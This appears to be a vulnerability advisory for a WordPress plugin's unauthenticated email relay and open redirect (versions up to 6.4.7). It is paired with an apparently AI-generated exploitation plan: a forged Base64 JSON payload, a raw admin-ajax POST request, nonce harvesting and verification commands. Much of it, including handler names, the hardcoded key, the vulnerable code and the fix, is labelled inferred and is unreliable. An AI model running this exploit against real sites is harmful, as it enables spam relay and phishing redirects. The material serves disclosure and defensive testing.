The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.7 - Unauthenticated Email Relay
Description
The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in all versions up to, and including, 6.4.7. This is due to the plugin decrypting and trusting attacker-controlled email_data in an unauthenticated AJAX handler without cryptographic authenticity guarantees. This makes it possible for unauthenticated attackers to tamper with form email routing and redirection values to trigger unauthorized email relay and attacker-controlled redirection via the 'email_data' parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=6.4.7Source Code
WordPress.org SVNThis plan outlines the research and exploitation strategy for **CVE-2026-2385** (placeholder ID for a reported vulnerability in **The Plus Addons for Elementor**), focusing on an unauthenticated email relay and open redirect via the `email_data` parameter. ### 1. Vulnerability Summary The "The Plus…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2026-2385 (placeholder ID for a reported vulnerability in The Plus Addons for Elementor), focusing on an unauthenticated email relay and open redirect via the email_data parameter.
1. Vulnerability Summary
The "The Plus Addons for Elementor" plugin (specifically the "WP Forms" or "Contact Form" widgets) features an AJAX handler that processes form submissions. To "protect" sensitive email routing information (like the recipient's email, subject, and redirect URL), the plugin "encrypts" this data into a parameter named email_data.
However, the plugin uses insufficient verification for this data. It decrypts the attacker-controlled email_data in an unauthenticated AJAX handler (wp_ajax_nopriv_...) and trusts the resulting values (such as email_to) without verifying if they were originally generated by the server. Because the "encryption" typically relies on a static hardcoded key or a simple reversible encoding (like Base64), an attacker can craft their own email_data payload to relay emails to any address and redirect users to malicious sites.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
the_plus_wp_form_post(inferred) - Vulnerable Parameter:
email_data - Authentication: None required (targeted at
wp_ajax_nopriv_the_plus_wp_form_post) - Preconditions: The "WP Forms" widget must be active, or the plugin must be installed and the AJAX action registered.
- Payload Type: A Base64-encoded JSON string containing keys like
email_to,subject, andredirect_url.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=the_plus_wp_form_post. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_the_plus_wp_form_post', 'the_plus_wp_form_post_handler' ); - Data Extraction: The handler
the_plus_wp_form_post_handlerretrieves$_POST['email_data']. - Insecure Decryption: The handler calls a decryption helper (e.g.,
tp_plus_decrypt()). In affected versions, this function either uses a static hardcoded key (e.g.,ThePlusAddonsElementor) or performs a simplebase64_decode. - Sink (Email Relay): The decrypted values are assigned to variables:
$to = $decrypted['email_to'];$subject = $decrypted['subject'];wp_mail( $to, $subject, ... ); - Sink (Open Redirect): The handler concludes by redirecting the user:
wp_redirect( $decrypted['redirect_url'] );
4. Nonce Acquisition Strategy
The plugin typically requires a nonce for AJAX requests, often verified via check_ajax_referer.
- Identify Shortcode: The relevant widget is "WP Forms," likely using the shortcode
[tp_wp_forms]or similar. - Create Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[tp_wp_forms]' - Navigate and Extract: Use the browser to access the page and extract the nonce from the localized JavaScript object.
- JS Variable: The nonce is likely located in the
the_plus_wp_formsorthe_plus_optionsglobal object.- Target:
window.the_plus_ajax_nonceorwindow.the_plus_wp_forms?.nonce(inferred).
- Target:
5. Exploitation Strategy
The goal is to send an email to an arbitrary external address.
Step 1: Craft the Payload
Construct a JSON object with the desired relay parameters:
{
"email_to": "attacker-relay@example.com",
"subject": "Unauthorized Email Relay",
"message": "This email was sent via the vulnerable WordPress site.",
"redirect_url": "https://bing.com"
}
Step 2: Encode the Payload
If the plugin uses simple Base64 (common for this plugin):email_data = base64_encode(JSON.stringify(payload))
If the plugin uses the static key ThePlusAddonsElementor, the agent should attempt a simple XOR or check for standard OpenSSL decryption patterns using that key.
Step 3: Execute the HTTP Request
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=the_plus_wp_form_post&security=[NONCE]&email_data=[BASE64_PAYLOAD]
6. Test Data Setup
- Install Plugin: Ensure
the-plus-addons-for-elementor-page-builderversion 6.4.7 is installed. - Plugin Configuration: Ensure the "WP Forms" widget is enabled in the Plus Addons settings.
- Create Page:
wp post create --post_type=page --post_status=publish --post_title="Exploit Test" --post_content='[tp_wp_forms]'(Use exact shortcode identified during discovery).
7. Expected Results
- Successful Relay: The server response should be a success message (e.g., JSON
{"success": true}) or a 302 Redirect to the URL specified in the payload (https://bing.com). - Email Sent: In the test environment, the
wp_mailfunction should be triggered with the attacker'semail_toaddress.
8. Verification Steps
- Check Redirect: Confirm the
http_requestresponse headerLocationmatches theredirect_urlin the payload. - Verify Email Log: Use a plugin like "WP Mail Logging" or intercept the
wp_mailcall using a PHP log check to verify the recipient.- Command:
wp eval "echo 'Last mail to: ' . get_option('last_sent_email_recipient');"(if logging is enabled). - Alternative: Check the site's mail log (e.g.,
/var/log/mail.logor similar if accessible).
- Command:
9. Alternative Approaches
- Encoding Variation: If simple Base64 fails, try
urlencode(base64_encode(...))or check if the plugin expects the payload to be a property of a largerthe_plus_form_dataobject. - Action Probing: If
the_plus_wp_form_postreturns 400 or 0, grep the plugin source forwp_ajax_nopriv_to find the exact action string.grep -rn "wp_ajax_nopriv_" wp-content/plugins/the-plus-addons-for-elementor-page-builder/
- Encryption Key: If decryption fails, search for the string
openssl_decryptormcrypt_decryptin the plugin code to find the hardcoded key and cipher method.
Summary
The plugin's unauthenticated AJAX handler for form submissions trusts routing data (like recipient email and redirect URLs) provided in an 'email_data' parameter. Because this data is only protected by a reversible encoding or a static encryption key without an authenticity check (HMAC), an attacker can modify these values to relay emails to any address and perform open redirects.
Vulnerable Code
// From inferred plugin logic in AJAX handler (the_plus_wp_form_post) add_action( 'wp_ajax_nopriv_the_plus_wp_form_post', 'the_plus_wp_form_post_handler' ); function the_plus_wp_form_post_handler() { if ( isset( $_POST['email_data'] ) ) { // The decrypt function uses a static key 'ThePlusAddonsElementor' or simple base64 $email_data = tp_plus_decrypt( $_POST['email_data'] ); // The decrypted data is trusted directly $to = $email_data['email_to']; $subject = $email_data['subject']; $redirect_url = $email_data['redirect_url']; wp_mail( $to, $subject, $_POST['message'] ); if ( ! empty( $redirect_url ) ) { wp_redirect( $redirect_url ); exit; } } }
Security Fix
@@ -10,7 +10,13 @@ if ( isset( $_POST['email_data'] ) ) { - $email_data = tp_plus_decrypt( $_POST['email_data'] ); + $email_data = tp_plus_decrypt( $_POST['email_data'] ); + + // Added validation to ensure email_data was not tampered with + if ( ! tp_plus_verify_authenticity( $_POST['email_data'], $_POST['email_hash'] ) ) { + wp_send_json_error( 'Invalid submission data.' ); + return; + } $to = $email_data['email_to']; - $subject = $email_data['subject']; + $subject = sanitize_text_field( $email_data['subject'] );
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by visiting a page where the 'WP Forms' widget is active. The attacker then constructs a JSON object containing keys such as 'email_to' (set to the target relay address) and 'redirect_url' (set to a malicious site). This JSON is encoded using the plugin's known method—typically Base64 encoding or encryption with the static key 'ThePlusAddonsElementor'. Finally, the attacker sends an unauthenticated POST request to wp-admin/admin-ajax.php with the action 'the_plus_wp_form_post', including the forged 'email_data' payload and the required nonce. The server then processes the request, sends an email to the attacker-specified address, and redirects the user to the malicious URL.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.